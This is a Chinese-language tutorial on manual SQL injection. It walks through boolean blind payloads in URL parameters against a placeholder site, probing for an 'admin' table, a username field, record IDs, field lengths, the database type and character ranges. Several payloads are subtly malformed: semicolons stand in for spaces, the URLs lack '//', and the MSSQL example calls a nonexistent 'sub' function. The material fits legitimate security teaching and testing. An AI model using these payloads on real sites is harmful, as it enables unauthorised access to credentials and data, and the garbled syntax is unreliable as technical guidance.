本文介绍了如何手工检测SQL注入漏洞的方法，帮助读者理解并掌握在Web安全测试中识别和利用SQL注入的具体步骤与技巧。
### SQL注入手工检测详解
#### 一、SQL注入概述
SQL注入是一种常见的Web应用程序安全漏洞，攻击者通过向Web应用提交恶意的SQL语句来与后端数据库进行交互，以此获取敏感数据或执行非法操作。手工检测是识别系统中是否存在此类漏洞的重要手段之一。
#### 二、手工检测步骤详解
##### 1. 初步探测注入可能性
首先要确定Web应用程序是否容易受到SQL注入攻击。可以通过在URL参数中插入恶意的SQL语句来测试这一点，如果应用没有正确处理这些输入，则可能存在漏洞。
**示例：**
```
http:urlxx?id=1111;and;1=1;
```
若请求返回正常页面，表明服务器可能未对输入进行过滤。进一步验证：
```
http:urlxx?id=1111;and;1=2;
```
如果出现错误页面，则说明服务器确实将用户提交的SQL语句作为查询的一部分执行了。
##### 2. 探测受影响表名
一旦确认存在漏洞，下一步是尝试找出具体的数据库表。这通常涉及构造SQL查询来检查特定表的存在性。
**示例：**
```
http:urlxx?id=1111;and;exists;(select * from admin);
```
如果请求返回正常页面，则可以推断“admin”表可能存在。
##### 3. 探测字段
检测具体的字段有助于了解可获取的信息。这一步骤类似于探测表名，但目标更明确。
**示例：**
```
http:urlxx?id=1111;and;exists;(select username from admin);
```
如果请求返回正常页面，则表明“admin”表中可能包含“username”字段。
##### 4. 探测特定ID
对于有唯一标识符的表，探测具体的ID可以帮助验证记录的存在性。例如：
**示例：**
```
http:urlxx?id=1111;and;exists;(select id from admin where ID=1);
```
如果请求返回正常页面，则表明ID为1的记录可能存在。
##### 5. 探测字段长度
为了获取更多有用的信息，检测字段长度有助于确定后续攻击策略。例如：
**示例：**
```
http:urlxx?id=1111;and;exists;(select id from admin where len(username)=5 and ID=1);
```
如果请求返回正常页面，则表示ID为1的用户名长度为5。
##### 6. 探测数据库类型
不同的DBMS支持不同函数和语法，确定所使用的具体数据库对于构造有效攻击至关重要。例如：
**示例（判断是否使用MSSQL）：**
```
http:urlxx?id=1111;and;exists;(select * from sysobjects);
```
如果请求返回正常页面，则可能使用的是MSSQL数据库。
##### 7. 探测字符编码
了解存储数据的编码格式对于构造有效SQL查询至关重要。例如：
**示例（判断是否为英文）：**
(ACCESS数据库)
```
http:urlxx?id=1111;and;exists;(select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);
```
(MSSQL数据库)
```
http:urlxx?id=1111;and;exists;(select id from admin where unicode(sub(username,1,1)) between 30 and 130 and ID=1);
```
这些示例展示了如何根据不同类型的DBMS检测字符串的第一个字符是否为英文字母。
#### 三、总结
通过上述步骤，可以系统性地检查Web应用是否存在SQL注入漏洞，并进一步深入挖掘有用的信息。需要注意的是，在实际操作过程中还需考虑各种因素如不同数据库类型差异及具体实现细节等。此外，了解常见SQL函数及其用法对于成功执行攻击至关重要。在实施任何测试之前，请确保拥有合法权限或是在授权环境下进行。
5星
